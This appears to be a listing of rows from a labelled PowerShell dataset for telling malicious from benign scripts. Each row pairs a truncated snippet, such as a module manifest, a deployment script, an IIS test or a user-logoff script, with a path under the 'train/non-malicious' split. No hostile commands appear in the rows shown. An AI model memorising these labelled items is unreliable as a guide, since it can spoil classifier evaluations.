\n#Global Hashtable to Control all Powershell Server Runspace\nSet-Variable -name '__PSRUNSPACES__' -scope 'global' -value @{} -force\n\nfunction global:New-PowerShellServerRunspace\n{\n param(\n $Credential,\n $ErrorAction='Stop',\n [switch]$Force,\n $Password,\n $Port=22,\n $Server='127.0.0.1',\n $SSHAccept,\n...
combined_dataset/train/non-malicious/sample_53_78.ps1
sample_53_78.ps1
# # Module manifest for module 'OCI.PSModules.Oce' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Oce.dll' # Version number of this module. ModuleVersion = '81.0.0' # Supported PSEditions CompatiblePSEd...
combined_dataset/train/non-malicious/sample_37_65.ps1
sample_37_65.ps1
<################################################### # # # Copyright (c) Microsoft. All rights reserved. # # # ##################################################> Import-Module -Name $PSScriptRoot\Helpers.psm1 -...
combined_dataset/train/non-malicious/2661.ps1
2661.ps1
[CmdletBinding()] Param ( [Parameter(Mandatory=$false)] [ValidateSet('Install','Uninstall')] [string]$DeploymentType = 'Install', [Parameter(Mandatory=$false)] [ValidateSet('Interactive','Silent','NonInteractive')] [string]$DeployMode = 'Interactive', [Parameter(Mandatory=$false)] [switch]$AllowRebootPassThru ...
combined_dataset/train/non-malicious/sample_22_94.ps1
sample_22_94.ps1
function trySetDesignerProp(tname, ttype, val) { var trait = document.designerProps.getOrCreateTrait(tname, ttype, 0); trait.value = val; // services.debug.trace(tname + "=" + val); } if (command.getTrait("state").value == 0) { command.getTrait("state").value = 2; trySetDesignerProp("showEm...
combined_dataset/train/non-malicious/Remove-SMVISnapshots.ps1
Remove-SMVISnapshots.ps1
<# .Synopsis Cleanup after SMVI .PARAMETER Max Maximum number of concurrent snapshot delete tasks. Default: 5 .PARAMETER Recurse Recursively process snapshots untill they are all gone. .Example .\\Remove-SMVISnapshots.ps1 -Max 10 removes the 10 newest smvi leftovers, and returns the ...
combined_dataset/train/non-malicious/Logoff all users.ps1
Logoff all users.ps1
function RemoveSpace([string]$text) { $private:array = $text.Split(" ", ` [StringSplitOptions]::RemoveEmptyEntries) [string]::Join(" ", $array) } $quser = quser foreach ($sessionString in $quser) { $sessionString = RemoveSpace($sessionString) $session = $sessionString.split() i...
combined_dataset/train/non-malicious/4151.ps1
4151.ps1
[CmdletBinding()] param () function Get-CurrentDate { [CmdletBinding()][OutputType([string])] param () $CurrentDate = Get-Date $CurrentDate = $CurrentDate.ToShortDateString() $CurrentDate = $CurrentDate -replace "/", "-" If ($CurrentDate[2] -ne "-") { $CurrentDate = $CurrentDate.Insert(0, "0") } If ($C...
combined_dataset/train/non-malicious/1117.ps1
1117.ps1
$siteName = 'Windows Authentication' $sitePort = 4387 $webConfigPath = Join-Path $TestDir web.config function Start-TestFixture { & (Join-Path -Path $PSScriptRoot '..\Initialize-CarbonTest.ps1' -Resolve) } function Start-Test { Uninstall-IisWebsite $siteName Install-IisWebsite -Name $siteName ...
combined_dataset/train/non-malicious/sample_15_35.ps1
sample_15_35.ps1
ConvertFrom-StringData @' id_proliantdl385nmicrashdump_sd=NMICrashDump is set to 1 on this HP ProLiant DL385 G5. This setting may block machine dumps via NMI to be generated. '@ # SIG # Begin signature block # MIIoVQYJKoZIhvcNAQcCoIIoRjCCKEICAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEe...
combined_dataset/train/non-malicious/sample_59_1.ps1
sample_59_1.ps1
# region Generated # Load the private module dll $null = Import-Module -PassThru -Name (Join-Path $PSScriptRoot '..\bin\Az.Migrate.private.dll') # Get the private module's instance $instance = [Microsoft.Azure.PowerShell.Cmdlets.Migrate.Module]::Instance # Export nothing to clear implicit exports ...
combined_dataset/train/non-malicious/sample_22_71.ps1
sample_22_71.ps1
<############################################################# # # # Copyright (C) Microsoft Corporation. All rights reserved. # # # #############################################################> ...
combined_dataset/train/non-malicious/sample_55_77.ps1
sample_55_77.ps1
#!/usr/bin/env pwsh $basedir=Split-Path $MyInvocation.MyCommand.Definition -Parent $exe="" $pathsep=":" $env_node_path=$env:NODE_PATH $new_node_path="$basedir\..\.store\eslint@8.57.0\node_modules" if ($PSVersionTable.PSVersion -lt "6.0" -or $IsWindows) { # Fix case when both the Windows and Linux builds of Node # ...